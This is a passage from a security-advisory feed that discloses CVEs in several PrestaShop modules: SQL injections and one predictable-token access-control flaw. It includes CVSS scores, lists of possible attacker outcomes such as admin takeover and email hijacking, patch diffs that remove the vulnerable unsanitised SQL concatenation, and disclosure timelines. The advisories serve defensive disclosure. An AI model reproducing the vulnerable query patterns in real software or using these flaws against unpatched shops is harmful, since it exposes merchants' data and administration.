  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-20</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-20</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-10-20</td>
      <td>PrestaShop Addons security Team confirm version scope</td>
    </tr>
    <tr>
      <td>2024-01-25</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-12</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/promotions-gifts/28778-knowband-entryexit-and-subscription-popup-spin-and-win.html">PrestaShop addons product page</a></li>
  <li><a href="https://www.knowband.com/fr/prestashop-spin-and-win">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28389">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Entry,Exit and Subscription Popup-Spin and Win” (spinwheel) up to version 3.0.3 from KnowBand for PrestaShop, an anonymous user can perform a SQL injection.]]></summary></entry><entry><title type="html">[CVE-2024-28388] Improper neutralization of SQL parameter in SunnyToo - Product Comments module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/12/stproductcomments.html" rel="alternate" type="text/html" title="[CVE-2024-28388] Improper neutralization of SQL parameter in SunnyToo - Product Comments module for PrestaShop" /><published>2024-03-12T00:00:00+00:00</published><updated>2024-03-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/12/stproductcomments</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/12/stproductcomments.html"><![CDATA[<p>In the module “Product Comments” (stproductcomments) up to version 1.0.5 from SunnyToo for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28388">CVE-2024-28388</a></li>
  <li><strong>Published at</strong>: 2024-03-12</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: stproductcomments</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0.5 (1.0.6 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: SunnyToo</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">StProductCommentClass::getListComments</code> have sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-105">Patch from 1.0.5</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.5/modules/stproductcomments/classes/StProductCommentClass.php
</span><span class="gi">+++ XXXXX/modules/stproductcomments/classes/StProductCommentClass.php
</span><span class="gd">-       if (!$order_by) {
</span><span class="gi">+       if (!Validate::isOrderBy($order_by)) {
</span>            $order_by = 'pc.`featured`, `date_add`';
        }
       
<span class="gd">-       if ($order_way) {
</span><span class="gi">+       if (!Validate::isOrderWay($order_way)) {
</span>           $order_way = 'DESC';
        }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>stproductcomments</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-31</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-31</td>
      <td>Contact Author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-11-03</td>
      <td>Author confirm versions scope</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-12</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.sunnytoo.com/product/panda-creative-responsive-prestashop-theme">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28388">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Comments” (stproductcomments) up to version 1.0.5 from SunnyToo for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-28390] Improper Access Control in Advanced Plugins - Image: WebP, Compress, Zoom, Lazy load, Alt &amp;amp; More module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/12/ultimateimagetool.html" rel="alternate" type="text/html" title="[CVE-2024-28390] Improper Access Control in Advanced Plugins - Image: WebP, Compress, Zoom, Lazy load, Alt &amp;amp; More module for PrestaShop" /><published>2024-03-12T00:00:00+00:00</published><updated>2024-03-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/12/ultimateimagetool</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/12/ultimateimagetool.html"><![CDATA[<p>In the module “Image: WebP, Compress, Zoom, Lazy load, Alt &amp; More” (ultimateimagetool) in versions up to 2.2.01 from Advanced Plugins for PrestaShop, a guest can update all configurations of the PrestaShop.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28390">CVE-2024-28390</a></li>
  <li><strong>Published at</strong>: 2024-03-12</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ultimateimagetool</li>
  <li><strong>Impacted release</strong>: &lt; 2.2.01 (2.2.01 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Advanced Plugins</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/284.html">CWE-284</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a predictable token, a guest can update all configurations of the PrestaShop.</p>

<p>Be warned that the author do not follow a compliant semver version.</p>

<p>Note : the author has deleted from his module the files that have been suffering from critical vulnerabilities for months, BUT did not set them to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules, thinking they are safe. However, there is nothing safe about that, since past upgrades did not auto-delete the implicated files. To ensure everyone has a “safe version”, we decided to mark all versions up to 2.2.01 as impacted by this issue.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: none</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Erase/update all configurations from the PrestaShop</li>
  <li>Disable critical security configuration</li>
</ul>

<h1 id="other-recommendations">Other recommendations</h1>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ultimateimagetool</strong>.</li>
  <li>You should consider updating the configuration uit_token for something not predictable</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-22</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-22</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-24</td>
      <td>Contact PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-27</td>
      <td>Author provide a “complete” patch which auto-delete old file from previous version</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-12</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/visuels-produits/27669-image-webp-compression-regeneration.html">PrestaShop addons product page</a></li>
  <li><a href="https://advancedplugins.com/prestashop/modules/image-toolbox-compress-regenerate-more/">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28390">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Image: WebP, Compress, Zoom, Lazy load, Alt &amp; More” (ultimateimagetool) in versions up to 2.2.01 from Advanced Plugins for PrestaShop, a guest can update all configurations of the PrestaShop.]]></summary></entry><entry><title type="html">[CVE-2024-25845] Improper neutralization of SQL parameter in Cleanpresta.com - CD Custom Fields 4 Orders module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/05/cdcustomfields4orders.html" rel="alternate" type="text/html" title="[CVE-2024-25845] Improper neutralization of SQL parameter in Cleanpresta.com - CD Custom Fields 4 Orders module for PrestaShop" /><published>2024-03-05T00:00:00+00:00</published><updated>2024-03-05T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/05/cdcustomfields4orders</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/05/cdcustomfields4orders.html"><![CDATA[<p>In the module “CD Custom Fields 4 Orders” (cdcustomfields4orders) from Cleanpresta.com for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25845">CVE-2024-25845</a></li>
  <li><strong>Published at</strong>: 2024-03-05</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: cdcustomfields4orders</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0.0 (Author will never patch)</li>
  <li><strong>Product author</strong>: Cleanpresta.com</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Ajax scripts ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : the author has discontinued support for its module, so you should consider uninstalling it. Be warned that it moved this critical issue to a front controller in 2.3.0 and put it under an unpredictable token, so the last version always has a high issue with a CVSS 3.1 score of <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">7.2/10</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-100">Patch from 1.0.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.0/modules/cdcustomfields4orders/ajax.php
</span><span class="gi">+++ XXXXX/modules/cdcustomfields4orders/ajax.php
</span><span class="err">...</span>
		if(is_array($value)) $value = implode(',',$value);
<span class="gd">-		$sql = 'REPLACE INTO '._DB_PREFIX_.'cd_cfo_values (`id_cd_cfo`, `id_cart`, `value`) VALUES ('.$field[2].', '.$id_cart.', "'.$value.'")';
</span><span class="gi">+		$sql = 'REPLACE INTO '._DB_PREFIX_.'cd_cfo_values (`id_cd_cfo`, `id_cart`, `value`) VALUES ('.(int) $field[2].', '.(int) $id_cart.', "'.pSQL($value).'")';
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>cdcustomfields4orders</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-01</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-01</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2024-01-24</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2024-01-24</td>
      <td>Contact PrestaShop Addons security Team confirms versions scope</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-05</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="www.cleanpresta.com">Author page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25845">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “CD Custom Fields 4 Orders” (cdcustomfields4orders) from Cleanpresta.com for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-25848] Improper neutralization of SQL parameter in Team Ever - Ever Ultimate SEO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/05/everpsseo.html" rel="alternate" type="text/html" title="[CVE-2024-25848] Improper neutralization of SQL parameter in Team Ever - Ever Ultimate SEO module for PrestaShop" /><published>2024-03-05T00:00:00+00:00</published><updated>2024-03-05T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/05/everpsseo</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/05/everpsseo.html"><![CDATA[<p>In the module “Ever Ultimate SEO” (everpsseo) from Team Ever for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25848">CVE-2024-25848</a></li>
  <li><strong>Published at</strong>: 2024-03-05</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: everpsseo</li>
  <li><strong>Impacted release</strong>: &lt;= 7.13.4 for PrestaShop 1.6 (7.13.5 fix the vulnerability) &amp; &lt;= 8.1.2 for PrestaShop 1.7+ (8.1.3 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Team Ever</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">EverPsSeo::hookHeader()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop Hook stappled on all pages and most attackers can conceal the attack during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-7815">Patch from 7.8.15</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 7.8.15/modules/everpsseo/everpsseo.php
</span><span class="gi">+++ XXXXXX/modules/everpsseo/everpsseo.php
</span><span class="err">...</span>
                        FROM '._DB_PREFIX_.'meta
<span class="gd">-                       WHERE page = "'.(string)$controller_name.'"'
</span><span class="gi">+                       WHERE page = "'.pSQL($controller_name).'"'
</span>                    );
<span class="err">...</span>
                        FROM '._DB_PREFIX_.'meta
<span class="gd">-                       WHERE page = "'.(string)$controller_name.'"'
</span><span class="gi">+                       WHERE page = "'.pSQL($controller_name).'"'
</span>                    );
<span class="err">...</span>
                        FROM '._DB_PREFIX_.'meta
<span class="gd">-                       WHERE page = "'.(string)$controller_name.'"'
</span><span class="gi">+                       WHERE page = "'.pSQL($controller_name).'"'
</span>                    );
<span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>everpsseo</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-20</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-20</td>
      <td>Friends of Presta contact author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-05</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Team Ever thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/seo-referencement-naturel/39489-ever-ultimate-seo.html">PrestaShop addons product page</a></li>
  <li><a href="https://www.team-ever.com/prestashop-ever-ultimate-seo/">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25848">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Team Ever&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Ever Ultimate SEO” (everpsseo) from Team Ever for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-25849] Improper neutralization of SQL parameter in PrestaToolKit - Make an offer module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/05/makeanoffer.html" rel="alternate" type="text/html" title="[CVE-2024-25849] Improper neutralization of SQL parameter in PrestaToolKit - Make an offer module for PrestaShop" /><published>2024-03-05T00:00:00+00:00</published><updated>2024-03-05T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/05/makeanoffer</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/05/makeanoffer.html"><![CDATA[<p>In the module “Make an offer” (makeanoffer) up to version 1.7.1 from PrestaToolKit for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25849">CVE-2024-25849</a></li>
  <li><strong>Published at</strong>: 2024-03-05</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: makeanoffer</li>
  <li><strong>Impacted release</strong>: &lt;= 1.7.1 (1.7.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: PrestaToolKit</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">MakeOffers::checkUserExistingOffer()</code> and <code class="language-plaintext highlighter-rouge">MakeOffers::addUserOffer()</code> have sensitives SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-171">Patch from 1.7.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.7.1/modules/makeanoffer/model/MakeOffersModel.php
</span><span class="gi">+++ 1.7.2/modules/makeanoffer/model/MakeOffersModel.php
</span>	public function checkUserExistingOffer($id_product, $email, $cid)
	{
		$result = Db::getInstance()-&gt;executeS('
		SELECT `id_makeanoffer`
		FROM `'._DB_PREFIX_.'makeanoffer`
		WHERE `id_product` = '.(int)$id_product.'
<span class="gd">-		AND id_combination = '.(int)$cid.' AND email = "'.$email.'"');
</span><span class="gi">+		AND id_combination = '.(int)$cid.' AND email = "'.pSQL($email).'"');
</span>		return count($result);
	}
	
	public function addUserOffer($id_product, $email, $cid, $name, $phone, $message, $amount, $customer_id, $real_price, $id_currency)
	{
		empty($message) ? $message = 'empty' : $message;
		empty($name) ? $name = 'no name' : $name;
		empty($phone) ? $phone = 'empty' : $phone;
		Db::getInstance()-&gt;execute('INSERT INTO '._DB_PREFIX_.'makeanoffer (id_product, email, id_combination, status, name, phone, message, amount_offer, customer_id, original_price, id_curr)
